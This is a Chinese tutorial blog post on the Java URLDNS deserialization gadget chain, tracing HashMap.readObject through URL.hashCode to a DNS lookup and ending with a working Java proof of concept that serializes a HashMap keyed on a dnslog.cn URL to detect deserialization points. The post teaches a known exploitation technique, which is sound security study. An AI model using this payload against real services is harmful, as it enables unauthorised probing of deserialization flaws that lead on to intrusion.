[Java安全入门]三.URLDNS链

一.前言

        在初步学习java的序列化和反序列化之后,这里学习java反序列化漏洞的一个利用链,也是比较基础的一条链。

        由于URLDNS不需要依赖第三方的包,同时不限制jdk的版本,所以通常用于检测反序列化的点。

二.代码展开分析

构造链

 *   Gadget Chain:*     HashMap.readObject()*       HashMap.putVal()*         HashMap.hash()*           URL.hashCode()

显示HashMap里面的readObject方法

HashMap为了保证键的唯一性,将键里面的每个元素进行计算,在类的最下面有个putVal方法,里面调用了hash方法,跟进到hash方法

如果键为空,返回0,否则对键进行hashCode,与右移16位值异或运算。如果传入的key是url,那么就会调用URL类里面的hashCode方法

如果hashCode不是-11,则返回hashCode,否则执行handler.hashCode

在URL中发现hashCode默认值为-1

所以会执行handler.hashCode

handler是URL里面的URLStreamHandler类的一个对象

该类里面的hashCode方法是

protected int hashCode(URL u) {int h = 0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);if (addr != null) {h += addr.hashCode();} else {String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();}// Generate the file part.String file = u.getFile();if (file != null)h += file.hashCode();// Generate the port part.if (u.getPort() == -1)h += getDefaultPort();elseh += u.getPort();// Generate the ref part.String ref = u.getRef();if (ref != null)h += ref.hashCode();return h;}

里面调用了getHostAddress,跟进到这个方法

里面调用了getByname方法对域名进行解析

总的来说

readObject()->HashMap.putVal()->hash()->hashCode()(URL类)->getHostAddress()->getByName()

POC,比ysoserial版本更容易理解一些

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;public class UrlDns {public static void main(String[] args) throws MalformedURLException, IllegalAccessException, NoSuchFieldException {/**** URL类-->hashCode()方法-->1.hashcode=!-1-->不执行DNS解析*                      -->2.hashcode=-1-->handler.hashCode()(hander为URLStreamHandler类对*                          象)-->getHostAddress(u)-->getByName(host)-->做一次DNS解析* HashMap类-->put(k,v)-->putVal()-->hash(k)-->k.hashCode()* HashMap类* 当HashMap的key传入为Url类型的话,k.hashCode()就会执行URL类的hashCode方法* hashCode对象默认为-1,也就是说传入的url会默认执行一次解析,为了验证是否存在反序列化存在,需要在反序列化之前不执行dns解析,* 因此需要通过反射将hashCode的v改为其他,再执行序列化与反序列化操作*/HashMap<URL, Integer> hashmap = new HashMap<>();URL url = new URL("http://1zxjmx.dnslog.cn");//创建一个新的url类Class urlClass = url.getClass();//反射获取url的类名称Field field = urlClass.getDeclaredField("hashCode");//反射获取URL类的hashCode字段(默认为-1)//getDeclaredFields:获取当前类的所有字段,包括 protected/默认/private 修饰的字段;不包括父类public 修饰的字段。field.setAccessible(true);//取消java语言访问检查field.set(url,3);//设置url的hashCode值为3hashmap.put(url,1);//HashMap类的put函数,传入键url 和任意一个值field.set(url,-1);// hashCode值变成1才能触发handler.hashCodetry{//序列化FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);objectOutputStream.writeObject(hashmap);objectOutputStream.close();fileOutputStream.close();//反序列化FileInputStream fileInputStream = new FileInputStream("E:\\tao.txt");ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);objectInputStream.readObject();objectInputStream.close();fileInputStream.close();} catch (FileNotFoundException e) {throw new RuntimeException(e);} catch (IOException e) {throw new RuntimeException(e);} catch (ClassNotFoundException e) {throw new RuntimeException(e);}}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/520445.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

方法设计时的注意规范

一、方法设计规范 在方法设计时&#xff0c;需要注意两点&#xff1a; 1、是否有返回值&#xff0c;如果有返回值。那么需要在返回值类型处填上所需要的返回值类型。比如如果要返回整数&#xff0c;就填int。 2、是否需要传入形参&#xff0c;如果方法中需要形参&#xff0c…

Django 简介

Django 简介 基本介绍 Django 是一个由 Python 编写的一个开放源代码的 Web 应用框架。 Django 是一个高级的 Python Web 框架&#xff0c;用于快速开发可维护和可扩展的 Web 应用程序。 使用 Django&#xff0c;只要很少的代码&#xff0c;Python 的程序开发人员就可以轻松…

阿里云服务器使用教程_2024建站教程_10分钟网站搭建流程

使用阿里云服务器快速搭建网站教程&#xff0c;先为云服务器安装宝塔面板&#xff0c;然后在宝塔面板上新建站点&#xff0c;阿里云服务器网aliyunfuwuqi.com以搭建WordPress网站博客为例&#xff0c;来详细说下从阿里云服务器CPU内存配置选择、Web环境、域名解析到网站上线全流…

docker离线搭建仓库

要在Docker中搭建本地仓库&#xff0c;可以按照以下步骤进行操作&#xff1a; 首先安装 Docker。根据不同的操作系统选择合适的版本并完成安装过程。打开命令行工具&#xff08;如Terminal或PowerShell&#xff09;&#xff0c;运行以下命令来创建一个新的容器并将其设置为本地…

DNS——域名系统

TCP/IP提供了通过IP地址来连接到设备的功能&#xff0c;但对用户来讲&#xff0c;记住某台设备的IP地址是相当困难的&#xff0c;因此专门设计了一种字符串形式的主机命名机制&#xff0c;这些主机名与IP地址相对应。在IP地址与主机名之间需要有一种转换和查询机制&#xff0c;…

政安晨:【深度学习处理实践】(二)—— 最大汇聚运算

最大汇聚运算&#xff08;Max Pooling Operation&#xff09;是深度学习领域卷积神经网络常用的一种汇聚运算方式。在卷积神经网络中&#xff0c;经过一系列卷积层和激活函数层后&#xff0c;数据在空间尺寸上逐渐减小&#xff0c;特征图的深度也逐渐增加。为了降低数据尺寸并提…

面向对象中不可变性

软件设计中的不可变性是一个非常重要的概念&#xff0c;它可以在多个方面提高代码的可靠性、可维护性和安全性。 从开发者角度&#xff08;代码提供者&#xff09;&#xff1a; 在软件开发过程中&#xff0c;当某个对象的属性是不可变的时候&#xff0c;这意味着这些属性的值…

Python爬虫——scrapy-3

目录 免责声明 任务 文件简介 爬取当当网内容单管道 pipelines.py items.py setting dang.py 当当网多管道下载图片 pipelines.py settings 当当网多页下载 dang.py pielines.py settings items.py 总结 免责声明 该文章用于学习&#xff0c;无任何商业用途 …

Java工作需求后端代码--实现树形结构

加油&#xff0c;新时代打工人&#xff01; 前端页面 带树形结构的表格 最近在新项目上加班加点&#xff0c;下面是个实现树形结构的数据表格。 需求&#xff1a; 在前端页面表格中展示成树形结构的数据。 技术&#xff1a; 后端&#xff1a;Java、Mybatis-Plus、HuTool树形的…

最佳牛围栏(二分 + 前缀和)

最佳牛围栏 原题链接&#xff1a;https://www.acwing.com/problem/content/104/ 题目 思路 我们发现若是枚举答案的话&#xff0c;那么我们判断是否存在一个平均值大于等于mid&#xff0c;如果最优解是x&#xff0c;那么mid < x的时候&#xff0c;必然可以找到一段&#x…

[HackMyVM]靶场 Run

kali:192.168.56.104 主机发现 arp-scan -l # arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.1 0a:00:27:00:00:05 (Un…

云计算项目八:Harbor

部署企业私有镜像仓库Harbor 私有镜像仓库有许多优点&#xff1a; 节省网络带宽&#xff0c;针对于每个镜像不用每个人都去中央仓库上面去下载&#xff0c;只需要从私有仓库中下载即可提供镜像资源利用&#xff0c;针对于公司内部使用的镜像&#xff0c;推送到本地私有仓库中…